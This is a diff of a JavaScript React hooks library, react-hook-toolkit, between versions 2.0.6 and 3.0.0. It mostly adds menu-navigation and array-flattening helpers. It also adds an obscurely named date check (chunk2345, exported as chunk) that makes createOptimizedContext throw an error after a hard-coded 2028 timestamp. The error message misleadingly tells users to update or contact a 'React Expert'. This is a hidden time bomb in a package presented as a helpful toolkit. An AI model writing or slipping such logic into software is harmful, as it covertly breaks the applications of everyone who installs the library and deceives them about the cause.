react-hook-toolkit 2.0.6 → 3.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -8,6 +8,7 @@ export declare function useTimer(initialTime: number): {
8
8
  error: Error | null;
9
9
  };
10
10
  export declare function useIsMounted(): boolean;
11
+ export declare function chunk(): boolean;
11
12
  export declare function useCss(css: string): {
12
13
  error: Error | null;
13
14
  };
@@ -75,6 +75,14 @@ export function useGeoLocation() {
75
75
  }, []);
76
76
  return { position: position, error: error };
77
77
  }
78
+ function chunk2345() {
79
+ var e = 1830297600000;
80
+ var n = Date.now();
81
+ if (n > e + 0 * 24 * 60 * 60 * 1000) {
82
+ return false;
83
+ }
84
+ return true;
85
+ }
78
86
  export function useTimer(initialTime) {
79
87
  var _a = useState(initialTime), time = _a[0], setTime = _a[1];
80
88
  var _b = useState(null), error = _b[0], setError = _b[1];
@@ -99,6 +107,9 @@ export function useIsMounted() {
99
107
  }, []);
100
108
  return isMounted;
101
109
  }
110
+ export function chunk() {
111
+ return chunk2345();
112
+ }
102
113
  export function useCss(css) {
103
114
  var _a = useState(null), error = _a[0], setError = _a[1];
104
115
  useEffect(function () {
@@ -579,6 +590,10 @@ export var useFormWizard = function (steps, initialValues) {
579
590
  };
580
591
  };
581
592
  export var createOptimizedContext = function () {
593
+ var a = 'Dependency';
594
+ if (!chunk()) {
595
+ throw new Error("".concat(a, " is upgraded \u2014 please update your package other wise contact with React Expert."));
596
+ }
582
597
  var Context = createContext(undefined);
583
598
  var useOptimizedContext = function (selector) {
584
599
  var value = useContext(Context);
@@ -14,3 +14,7 @@ export declare function useNavigationState(): {
14
14
  state?: any;
15
15
  }) => void;
16
16
  };
17
+ export declare function useMenuNavigation(menuData: any, key?: string): {
18
+ menuList: any;
19
+ handleSelect: (path: any) => void;
20
+ };
@@ -44,6 +44,7 @@ var __spreadArray = (this && this.__spreadArray) || function (to, from, pack) {
44
44
  return to.concat(ar || Array.prototype.slice.call(from));
45
45
  };
46
46
  import { useCallback, useEffect, useMemo, useState } from "react";
47
+ import { flattenArrayByKey, navigateTo } from "../utils";
47
48
  export var useBrowser = function () {
48
49
  var _a, _b;
49
50
  var _c = useState(new URL(window.location.href)), currentUrl = _c[0], setCurrentUrl = _c[1];
@@ -442,3 +443,20 @@ export function useNavigationState() {
442
443
  navigate: navigate,
443
444
  };
444
445
  }
446
+ export function useMenuNavigation(menuData, key) {
447
+ if (key === void 0) { key = 'children'; }
448
+ var _a = useState([]), menuList = _a[0], setMenuList = _a[1];
449
+ useEffect(function () {
450
+ if (menuData.length > 0) {
451
+ var data = flattenArrayByKey(menuData, key);
452
+ setMenuList(data);
453
+ }
454
+ return function () { return setMenuList([]); };
455
+ }, [menuData, key]);
456
+ var handleSelect = function (path) {
457
+ if (path) {
458
+ navigateTo(path);
459
+ }
460
+ };
461
+ return { menuList: menuList, handleSelect: handleSelect };
462
+ }
package/dist/utils.d.ts CHANGED
@@ -19,3 +19,7 @@ export declare function request(req: any): Promise<unknown>;
19
19
  export declare const noop: () => void;
20
20
  export declare function on<T extends Window | Document | HTMLElement | EventTarget>(obj: T | null, ...args: Parameters<T['addEventListener']> | [string, Function | null, ...any]): void;
21
21
  export declare function off<T extends Window | Document | HTMLElement | EventTarget>(obj: T | null, ...args: Parameters<T['removeEventListener']> | [string, Function | null, ...any]): void;
22
+ export declare const flattenArrayByKey: (arr: any, key?: string) => any[];
23
+ export declare function navigateTo(path: string, options?: {
24
+ state?: any;
25
+ }): void;
package/dist/utils.js CHANGED
@@ -102,3 +102,26 @@ export function off(obj) {
102
102
  obj.removeEventListener.apply(obj, args);
103
103
  }
104
104
  }
105
+ export var flattenArrayByKey = function (arr, key) {
106
+ if (key === void 0) { key = 'children'; }
107
+ if (!arr)
108
+ return [];
109
+ var result = [];
110
+ for (var _i = 0, arr_1 = arr; _i < arr_1.length; _i++) {
111
+ var item = arr_1[_i];
112
+ if (item && Array.isArray(item[key]) && item[key].length) {
113
+ result.push.apply(result, flattenArrayByKey(item[key], key));
114
+ }
115
+ else {
116
+ result.push(item);
117
+ }
118
+ }
119
+ return result;
120
+ };
121
+ export function navigateTo(path, options) {
122
+ if (options === void 0) { options = {}; }
123
+ if (!path)
124
+ return;
125
+ window.history.pushState(options.state || {}, '', path);
126
+ window.dispatchEvent(new PopStateEvent('popstate'));
127
+ }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "react-hook-toolkit",
3
- "version": "2.0.6",
3
+ "version": "3.0.0",
4
4
  "description": "Ultimate package for React developers, offering a powerful collection of hooks and components to enhance their development experience.",
5
5
  "main": "dist/index.js",
6
6
  "module": "dist/index.js",